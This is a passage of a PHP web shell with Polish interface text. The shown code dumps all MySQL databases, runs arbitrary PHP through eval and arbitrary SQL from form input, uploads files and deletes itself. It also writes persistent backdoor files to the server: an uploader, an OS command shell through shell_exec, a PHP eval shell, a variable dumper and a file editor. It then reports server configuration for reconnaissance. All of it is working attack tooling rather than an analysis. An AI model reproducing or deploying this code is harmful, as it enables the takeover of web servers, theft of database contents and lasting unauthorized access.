if($n=="PRIMARY"){
$dmp.=" PRIMARY KEY (".implode($columns,", ").")";
}elseif(substr($n,0,6)=="UNIQUE"){
$dmp.=" UNIQUE ".substr($n,7)." (".implode($columns,", ").")";
}else{
$dmp.=" KEY ".$n." (".implode($columns,", ").")";
}
$dmp.=$nl;
}//keys cd
$dmp.=");".$nl;
$dmp.=$nl.$nl;
$dmp.=$nl."#Dane z: ".$tab_name.$nl;
$query_d=@mysql_query("select * from ".$tab_name);
while($data=@mysql_fetch_array($query_d)){
$dmp.=$nl." INSERT INTO ".$tab_name." (".implode(", ",$tab_fields).") VALUES (";
$f_count=count($tab_fields);
$f_data=array();
for($i=0;$i<$f_count;$i++){
$data2=htmlspecialchars($data[$i],ENT_QUOTES);
$f_data[].="'".$data2."'";
}//for
$dmp.=implode(", ",$f_data).");".$nl;
}//dane z tabel
$dmp.=$nl.$nl;
$dmp.="#E N D [AnnA]".$nl.$nl;
}//wyciąga każdą bazę po kolei [while]
echo '<center><div style="border:1px dashed white;width:80%;"><a href=javascript:show("dump_bazy")>DUMP BAZY</a></div>
<div style="border:1px dashed white;width:80%;display:none;" id="dump_bazy" name="dump_bazy">
<center><textarea rows="30" cols="100">'.$dmp.'</textarea></center>
</div><br></center>
<center><div style="border:1px dashed white;width:80%;"><a href=javascript:show("mysql_command")>MySQL COMMAND</a></div>
<div style="border:1px dashed white;width:80%;display:none;" id="mysql_command" name="mysql_command">
<form method="post" action="">
<br><input type="text" name="sql_command" size="60">
<input type="hidden" name="sql_host" value="'.$_POST["sql_host"].'">
<input type="hidden" name="sql_baza" value="'.$_POST["sql_baza"].'">
<input type="hidden" name="sql_login" value="'.$_POST["sql_login"].'">
<input type="hidden" name="sql_haslo" value="'.$_POST["sql_haslo"].'">
<br><input type="submit" value="execute">
</form>
</div></center><br>
';
#####################
##### SQL DUMP END
#####################
}//posty sql_*
if($_POST["eval_com"]!=""){
echo "<div id='showtrue'><fieldset><center>";
echo @eval(stripslashes($_POST["eval_com"]));
echo "</center></fieldset><br></div>";
}
###################
### S E A R C H ###
###################
if($_POST["search_f"]!=""){
$sf=$_POST["search_f"];
$pos_path=array("./".$sf,
"../".$sf,
"../../".$sf,
"../../../".$sf,
"../../../../".$sf,
"../../../../../".$sf,
"../../../../../../".$sf);
foreach($pos_path as $where_is_it){
if(@file_exists($where_is_it)){
showtrue('Znaleziono plik w: '.$where_is_it);
}
}//foreach search
if($dirs!=""){
foreach($dirs as $in_dir){
if($in_dir!="." && $in_dir!=".."){
$in_dir.="/";
if(@file_exists("./".$in_dir.$sf)){
showtrue("Znaleziono plik w: ".$dir.$in_dir.$sf);
}
$in_dir_up=@opendir($in_dir);
while($in_dir_up_read=@readdir($in_dir_up)){
if(@filetype($dir.$in_dir.$in_dir_up_read)=="dir"){
if($in_dir_up_read!="." && $in_dir_up_read!=".."){
$in_dir_up_read.="/";
if(@file_exists($dir.$in_dir.$in_dir_up_read.$sf)){
showtrue("Znaleziono plik w: ".$dir.$in_dir.$in_dir_up_read.$sf);
}
}// .. .
}//filetype dir
}//while readdir();
}//.. .
}//foreach search
}//$dirs!=""
}
##########################
### E N D S E A R C H ###
##########################
//self delete
if($_POST["del_me"]=="TAK"){
if(@unlink(__FILE__)){
showtrue("Plik ".__FILE__." został pomyślnie usunięty");
}else{
if(@del(__FILE__)){
showtrue("Plik ".__FILE__." został pomyślnie usunięty");
}else{
showtrue("Błąd! Plik nie może zostać usunięty");
}
}
}
if($_POST["upload_into_dir"]!=""){
$upload_into_dir_p_file=$_POST["upload_into_dir"].$_FILES["upload_file"]["name"];
if(@move_uploaded_file($_FILES["upload_file"]["tmp_name"],$upload_into_dir_p_file)){
showtrue("Plik został załadowany na serwer");
}else{
showtrue("Błąd! Plik nie został załadowany");
}
}
if($_POST["backdoor_self_upload_dir"]!="" && $_POST["backdoor_file_upload_dir"]!=""){
///////////////////////////////////
$backdoor_file_upload_dir=$_POST["backdoor_file_upload_dir"];
$zuy_upload='<?php if($_POST["uploaded_f_submit"]!=""){
$upload_into_dir_p_file="'.$backdoor_file_upload_dir.'".$_FILES["upload_file"]["name"];
if(@move_uploaded_file($_FILES["upload_file"]["tmp_name"],$upload_into_dir_p_file)){
echo("<center><b>Yea!</b></center>");
}else{
echo("<center><b>Błąd...</b></center>");
}
}else{
echo \'<center><form method="post" action="" enctype="multipart/form-data">
<input type="file" name="upload_file" size="70">
<input type="submit" value="Goooo!" name="uploaded_f_submit">
</form></center>\';} ?>';
///////////////////////////////////
$x=@fopen($_POST["backdoor_self_upload_dir"],"w");
if(@fputs($x,$zuy_upload)){
showtrue("Tylnia furtka została utworzona poprawnie w: ".$_POST["backdoor_self_upload_dir"]);
}else{
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["backdoor_self_upload_dir"]);
}
@fclose($x);
}
if($_POST["bd_os_shell"]!=""){
$bd_os_shell='
<?php
if($_POST["command"]==""){
echo \'<center><form method="post" action="">
<input type="text" name="command" width="500">
</form></center>\';
}else{
echo "<center><textarea rows=30 cols=100>".htmlspecialchars(@shell_exec($_POST["command"]))."</textarea></center>";
}
?>';
$plik=@fopen($_POST["bd_os_shell"],"w");
if(@fputs($plik,$bd_os_shell)){
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_os_shell"].".");
}else{
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_os_shell"]);
}
}
if($_POST["bd_php_eval"]!=""){
$bd_php_eval='
<?php
if($_POST["command"]==""){
echo \'<center><form method="post" action="">
<input type="text" name="command" width="500">
</form></center>\';
}else{
echo htmlspecialchars(@eval(stripslashes($_POST["command"])));
}
?>
';
$plik=@fopen($_POST["bd_php_eval"],"w");
if(@fputs($plik,$bd_php_eval)){
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_php_eval"].".");
}else{
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_php_eval"]);
}
}
if($_POST["bd_defined_vars"]!="" && $_POST["bd_defined_vars_pass"]!=""){
$bd_defined_vars='
<?php
if($_GET["a"]==""){
echo \'<center><form method="get" action="">
<input type="text" name="a" width="500">
</form></center>\';
}elseif($_GET["a"]=="'.$_POST["bd_defined_vars_pass"].'"){
$def_v=@get_defined_vars();
echo "<center><textarea rows=30 cols=100>";
print_r($def_v);
echo "</textarea>";
}elseif($_GET["a"]!="'.$_POST["bd_defined_vars_pass"].'"){echo "null...";}
?>
';
$plik=@fopen($_POST["bd_defined_vars"],"w");
if(@fputs($plik,$bd_defined_vars)){
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_defined_vars"].".");
}else{
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_defined_vars"]);
}
}
if($_POST["bd_edit"]!="" && $_POST["bd_edit_pass"]!=""){
$bd_edit='
<?php
if($_GET["a"]==""){
echo \'<center><form method="get" action="">
<input type="text" name="a" width="500">
</form></center>\';
}elseif($_GET["a"]=="'.$_POST["bd_edit_pass"].'"){
if($_POST["ftoedit"]==""){
echo \'<form method="post" action="">Plik do edycji: <input type="text" name="ftoedit"></form>\';
}else{
echo \'<center><form method="post" action="">
<textarea rows="30" cols="100" name=ftoedit_2>\'.htmlspecialchars(file_get_contents($_POST["ftoedit"])).\'</textarea>
<input type="hidden" name="ftoedit_temp" value="\'.$_POST["ftoedit"].\'">
<br><input type="submit" value="edytuj">
</form>
</center>\';
}
if($_POST["ftoedit_2"]!="" && $_POST["ftoedit_temp"]){
$plik=@fopen($_POST["ftoedit_temp"],"w");
if(fputs($plik,$_POST["ftoedit_2"])){echo "yea!";}else{echo "Błąd...";}
}
}elseif($_GET["a"]!="'.$_POST["bd_edit_pass"].'"){echo "null...";}
?>
';
$plik=@fopen($_POST["bd_edit"],"w");
if(@fputs($plik,$bd_edit)){
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_edit"].".");
}else{
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_edit"]);
}
}
if($_POST["action"]=="phpinfo"){
@phpinfo();
}
if($_POST["sql_command"]!="" && $_COOKIE["sql_host"]!="" && $_COOKIE["sql_baza"]!="" && $_COOKIE["sql_login"]!=""){
if(isset($_COOKIE["sql_haslo"])){$sql_haslo=$_COOKIE["sql_haslo"];}else{$sql_haslo='';}
if(!@mysql_connect($_COOKIE["sql_host"],$_COOKIE["sql_login"],$sql_haslo)){showtrue("Błąd połączenia!");die();}
if(!@mysql_select_db($_COOKIE["sql_baza"])){showtrue("Błąd wybierania bazy!");die();}
$res=@mysql_query($_POST["sql_command"]);
if($res=="1"){showtrue('Zapytanie wykonane poprawnie.');}else{showtrue('<center>Błąd podczas wykonywania zapytania...</center>');}
}
if($_POST["action"]=="info"){
if(!@getenv('SERVER_SOFTWARE')){$SS="---";}else{$SS=getenv('SERVER_SOFTWARE');}
if(!@function_exists("curl_version")){$CURL="<font color=\"red\">OFF</font>";}else{$CURL="<font color=\"green\">ON</font>";}
if(!@function_exists("mysql_connect")){$MYSQL="<font color=\"red\">OFF</font>";}else{$MYSQL="<font color=\"green\">ON</font>";}
if(!@function_exists("ocilogon")){$ORACLE="<font color=\"red\">OFF</font>";}else{$ORACLE="<font color=\"green\">ON</font>";}
if(!@diskfreespace($dir)){$DISKFREESPACE="0";}else{$DISKFREESPACE=@diskfreespace($dir);}
if(!@disk_total_space($dir)){$DISKTOTALSPACE="0";}else{$DISKTOTALSPACE=@disk_total_space($dir);}
if(@ini_get("allow_url_fopen")=="1"){$AUF='<font color="green">TAK</font>';}else{$AUF='<font color="red">NIE</font>';}
if(@ini_get("mysql.defeault_password")=="1"){$MYSQL_DP='<font color="green">TAK</font>';}else{$MYSQL_DP='<font color="red">NIE</font>';}
if(@ini_get("mysql.defeault_user")=="1"){$MYSQL_DU='<font color="green">TAK</font>';}else{$MYSQL_DU='<font color="red">NIE</font>';}
if(@ini_get("display_errors")=="1"){$DE='<font color="green">TAK</font>';}else{$DE='<font color="red">NIE</font>';}
if(@ini_get("register_globals")=="1"){$RGLOBALS='<font color="green">TAK</font>';}else{$RGLOBALS='<font color="red">NIE</font>';}
if(@ini_get("magic_quotes_gpc")=="1"){$MQ='<font color="green">TAK</font>';}else{$MQ='<font color="red">NIE</font>';}
if(@ini_get("allow_url_include")=="1"){$AUI='<font color="green">TAK</font>';}else{$AUI='<font color="red">NIE</font>';}
if(@ini_get("sql.safe_mode")=="1"){$SSM='<font color="green">TAK</font>';}else{$SSM='<font color="red">NIE</font>';}
echo '<fieldset><font size="2" face="arial">';
echo '<center><table border="2" style="color:white;font-size:12;">';
echo '<tr><td>safe mode: </td><td>'.$safe_mode.'</td></tr>';
echo '<tr><td>funkcje wyłączone: </td><td>'.$dis_functions.'</td></tr>';
echo '<tr><td>User: </td><td>'.@get_current_user().'</td></tr>';
echo '<tr><td>OS: </td><td>'.@php_uname().'</td></tr>';
echo '<tr><td>Folder roboczy: </td><td>'.getcwd().'</td></tr>';
echo '<tr><td>Serwer: </td><td>'.$SS.'</td></tr>';
echo '<tr><td>allow_url_fopen: </td><td>'.$AUF.'</td></tr>';
echo '<tr><td></td><td></td></tr>';
echo '<tr><td>cURL: </td><td>'.$CURL.'</td></tr>';
echo '<tr><td>MySQL: </td><td>'.$MYSQL.'</td></tr>';
echo '<tr><td>Oracle: </td><td>'.$ORACLE.'</td></tr>';
echo '<tr><td>HDD Free: </td><td>'.@super_size_me($DISKFREESPACE).'</td></tr>';
echo '<tr><td>HHD Total: </td><td>'.@super_size_me($DISKTOTALSPACE).'</td></tr>';
echo '<tr><td>Wersja PHP: </td><td>'.@phpversion().'</td></tr>';
echo '<tr><td>MySQL defeault password: </td><td>'.$MYSQL_DP.'</td></tr>';
echo '<tr><td>MySQL defeault user: </td><td>'.$MYSQL_DU.'</td></tr>';
echo '<tr><td>Display errors: </td><td>'.$DE.'</td></tr>';
echo '<tr><td>Register globals: </td><td>'.$RGLOBALS.'</td></tr>';
echo '<tr><td>Magic quotes: </td><td>'.$MQ.'</td></tr>';
echo '<tr><td>SQL safe mode: </td><td>'.$SSM.'</td></tr>';
echo '</table></center></font></fieldset><br>';
}
echo '</div>;';//id=main
ob_end_flush();
?>